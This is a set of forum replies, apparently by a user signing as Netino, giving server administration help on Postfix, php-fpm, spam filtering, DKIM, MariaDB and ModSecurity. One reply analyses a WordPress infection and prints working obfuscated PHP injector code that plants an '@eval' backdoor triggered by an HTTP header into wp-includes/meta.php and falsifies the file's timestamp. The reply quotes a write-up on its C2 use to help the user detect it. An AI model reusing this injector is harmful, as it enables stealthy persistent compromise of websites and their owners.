Netino

Email messages are essentially text messages. When you install postfix-pcre, it will perform a regex analysis on each message, and this involves additional processing. If you have a small volume of messages on your mail server, this is fine, there should be no problem. But if your traffic is heavier, I recommend that you do a performance analysis, and if there is an impact, find a less expensive solution.

A simple restart on your php-fpm server, while serving pages, can cause these messages. A restart on your php-fpm server can occur if you run a cron process restarting the server at that time, or, for example, if you set a rebuild in the CWP configuration that did not complete. Check the cron logs (/var/log/cron) at that time to see if there is a process restarting your php-fpm around that time. Regards, Netino

It is not feasible to disable these redirects. So, you can do what I do: use a global antispam system on your server, where you can use postscreen, and use a system (Spamassassin, Rspamd, etc) that performs Bayesian analysis of emails (there will be complaints, globally means spam for some, but not for others). But Bayesian analysis learns fast, before problem turn big. Rspamd have neural analisys, too. In addition, monitor rejections from major providers: Gmail, Outlook (mainly Hotmail), etc. When there are problems with these major email providers, they complain first with error messages, and gradually lowering reputation of your mail server. With active monitoring, you will have enough time to avoid a definitive block on them, and you will have time to complain about the redirection of your clients, or even disable them. Regards, Netino

This is an obfuscated code in base64. Decoding this base64 sequence, it generate the following php code, that will be executed by php itself through "eval" php function: phpConfValidate('YTo0OntpOjA7czo1MDoiL2hvbWUvZm90YmFsbG5lcmQvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRDM0MUJFRFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0QzNDFCRUQnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9'); function phpConfValidate($ser) { list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser)); $source = file_get_contents($fullPath); if (preg_match($systemEnv, $source)) { return; } if (!preg_match($pattern, $source, $matches)) { return; } $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv); $newSource = preg_replace($incorrectRegex, '', $source); $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource); if (!preg_match($systemEnv, $newSource)) { return; } $filemtime = filemtime($fullPath) + 10; unlink($fullPath); file_put_contents($fullPath, $newSource); touch($fullPath, $filemtime); } Decoding the following sequence: phpConfValidate('YTo0OntpOjA7czo1MDoiL2hvbWUvZm90YmFsbG5lcmQvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRDM0MUJFRFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0QzNDFCRUQnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9'); ...we will get the a code, that will saved and be executed in your server: a:4:{i:0;s:50:"/home/fotballnerd/public_html/wp-includes/meta.php";i:1;s:98:"~eval[^\(\n\r]*\([^\$]*\$_[A-Z]{6}[^\[]*\[[^\'\"]*[\'\"]HTTP_D341BED[\'\"][^\]]*\][^\)]*\)[^;]*;~s";i:2;s:32:"@eval($_SERVER['HTTP_D341BED']);";i:3;s:33:"~^\s*function\s+update_metadata~m";} Its a sequence of obsfuscated sequences of codes. This last line make sense to you? If no, is strongly possible your user is trying to crack your server. Check a discussion on this site: https://www.operationdecode.com/http-header-injection-and-modsecurity-evasion/ The result on your server is very similar to what is shown on this site, like they said: "Further analysis also indicated that this method could be used to connect to a C2 and act as a zombie host. Throughout our investigation, and in reviewing a large number of these cron and files; we can see this is a direct attack on WordPress, where the code is being injected into default WordPress files that are required for the WordPress page to load. What this allows for, is the malicious actor to send the request directly to the domain name, and not to the affected files to get the desired outcome. Furthermore, when reviewing the access logs, there is no evidence of an attack. What is visible in the logs are only the GET requests to the root of the website. This was tested on a local installation of an infected site. (...) As this method for persistence and connecting to a c2 is very stealthy, it is not easily detected and may be overlooked. A search via the command line for "@eval(http_" should help in finding if this infection exists in your WordPress installation." Regards, Netino

You can use the following command: opendkim-genkey -b 1024 -d yourdomain.com -D /etc/opendkim/keys/yourdomain.com -s yourselector -vIf that doesn't work, you'll need to resort to a longer checklist, which you can check here: <https://easydmarc.com/blog/how-to-configure-dkim-opendkim-with-postfix/> Regards, Netino

Recreate the user and try the upgrade again: CREATE USER `mariadb.sys`@`localhost` ACCOUNT LOCK PASSWORD EXPIRE; GRANT SELECT, DELETE ON `mysql`.`global_priv` TO `mariadb.sys`@`localhost`;

From Deepseek.com, and I agree: The secondary IP address (10.0.0.3) showing over 1GB of transfer every hour, while all sites are configured to use the server IP (10.0.0.2), suggests that there is traffic being routed or directed to the secondary IP. Here are some possible reasons for this: 1. Misconfigured Services or ApplicationsA service or application on the server might be explicitly bound to the secondary IP (10.0.0.3) instead of the primary IP (10.0.0.2). This could include: Web servers (e.g., Apache, Nginx) Database servers (e.g., MySQL, PostgreSQL) Backup services Monitoring or logging tools Check the configuration files of these services to ensure they are not listening on the secondary IP. 2. DNS or A Records Pointing to the Secondary IPIf any DNS records (A records) point to the secondary IP (10.0.0.3), traffic will be directed to that IP. For example: A subdomain or specific service might be configured to use 10.0.0.3. A misconfigured DNS record could accidentally route traffic to the secondary IP. Verify your DNS settings to ensure no domains or subdomains are pointing to 10.0.0.3. 3. Network Interface ConfigurationThe network interface on the server might be misconfigured, causing traffic to be routed through the secondary IP. For example: Incorrect routing tables. Improper binding of IP addresses to the network interface. Check the server's network configuration (e.g., /etc/network/interfaces on Linux) and routing tables (ip route or route -n). 4. Background Processes or Cron JobsA background process or cron job might be using the secondary IP for tasks such as: Data synchronization. Backups. API calls or external communication. Check running processes (ps aux, top, or htop) and cron jobs (crontab -l) to identify any tasks that might be generating traffic. 5. Malware or Unauthorized AccessThe secondary IP might be compromised, and an attacker could be using it for malicious activities such as: Data exfiltration. Serving malicious content. Participating in a botnet. Investigate the traffic using tools like tcpdump, iftop, or nethogs to identify the source and destination of the traffic. 6. Load Balancing or Proxy ConfigurationIf the server is behind a load balancer or proxy, the secondary IP might be used for specific traffic. For example: The load balancer might be directing certain requests to 10.0.0.3. A reverse proxy might be forwarding traffic to the secondary IP. Check the configuration of any load balancers or proxies in your setup. 7. Logs and MonitoringAnalyze server logs to identify the source of the traffic: Web server logs (e.g., Apache, Nginx). Firewall logs (e.g., iptables, ufw). System logs (/var/log/syslog, /var/log/messages). Use monitoring tools like iftop, nethogs, or vnstat to track real-time traffic on the secondary IP. Steps to Diagnose and Resolve:Check Network Configuration: Verify the IP addresses assigned to the network interface. Ensure no services are bound to the secondary IP. Analyze Traffic: Use tools like tcpdump or iftop to capture and analyze traffic on the secondary IP. Review DNS Settings: Ensure no DNS records point to the secondary IP. Inspect Running Processes: Identify any processes generating traffic on the secondary IP. Check for Malware: Run a malware scan and investigate suspicious activity. Review Logs: Examine server logs for unusual activity or errors. By systematically checking these areas, you should be able to identify the source of the traffic and resolve the issue.

It's not possible to use modsecurity v3.0.13 with Apache, just only with nginx. Apache works only with v2.9.x versions of modsecurity.

What webserver(s) you use?

To check it against PCRE, could you post just one line from your logs not being catched..?! Regards, Netino

It's a bit hard to know exactly what problem you're trying to solve. It seems like there are a lot of requests for non-existent files, is that it? But apparently you're trying to solve this through the web server itself. But seems your logs are from nginx, and your configuration is for apache. Surely, I would recommend installing ModSecurity, and a firewall like csf. But I still can't tell if this is a good solution, because I don't quite understand the problem you're having. Regards, Netino

The lastest version of ModSecurity V3 is 3.0.12. It's important doesn't confuse ModSecurity 3.0.x with OWASP ruleset core 3.0.x. Like I said, apache doesn't work fully with ModSecurity 3.0.x. This is documented in Modsecurity site (assumed by OWASP team in july, this year) But I have myself running normally apache with OWASP Ruleset core 4.7.x, since 3.x up to 4.x. Maybe LFD problem can be solved with a few adjusts in ErrorLogFormat directive, to do it work.

To use ModSecurity V3 (libmodsecurity), is needed to use the ModSecurity-apache connector. This project is under development and not production-ready. The functionality is not complete, so we cannot use use with Apache HTTP Server. There are a note in that page: "NOTE: This project is not production ready This project should be considered under development and not production ready. The functionality is not complete and so should not be used. With Apache HTTP Server, the recommended version of ModSecurity is v2.9.x. "

Unfortunately, apache does not work with 3.0.x version. Do you use just nginx? In the same way, I have installed in cwpsrv server. I can share the (long) command sequence with you, if would be useful.

You have two blank 'content_filter' lines, and two 'smtpd_client_restrictions' lines, one with 'permit_sasl_authenticated,reject' and the other blank. But the 'smtpd_client_restrictions' lines seems to have a contradiction. The first is being overridden by the second (if it is not belonging to another section). Below are a suggestion for the configuration of the 'smtps' section. Some configurations may be identical to the submission, this is because one configuration is for sending and the other for receiving. Since we will only use service ports that require authentication, they can be identical: smtps inet n - n - - smtpd -o syslog_name=postfix/smtps -o smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yes -o smtpd_sasl_type=dovecot -o smtpd_sasl_path=private/auth -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o milter_macro_daemon_name=ORIGINATING "-o syslog_name=postfix/smtps" indicates that the activities will be available under the name “postfix/smtps” in the log file. "-o smtpd_tls_wrappermode=yes" indicates that TLS Fallback will be used for email clients that do not support STARTTLS. "-o smtpd_sasl_path=private/auth" The authentication format that will be passed to the SASL plugin. This configuration must match the socket file '/var/spool/postfix/private/auth'. "-o smtpd_client_restrictions=permit_sasl_authenticated,reject" The types of requests that will be accepted from clients. "-o milter_macro_daemon_name=ORIGINATING" The name of the email filter process macro. Check the existance of your socket file in /var/spool/postfix/private/auth. Check too if you opened the port 465 in your firewall. And check too if your certificates are valid an being pointed and used in '/etc/postfix/vmail_ssl.map' file.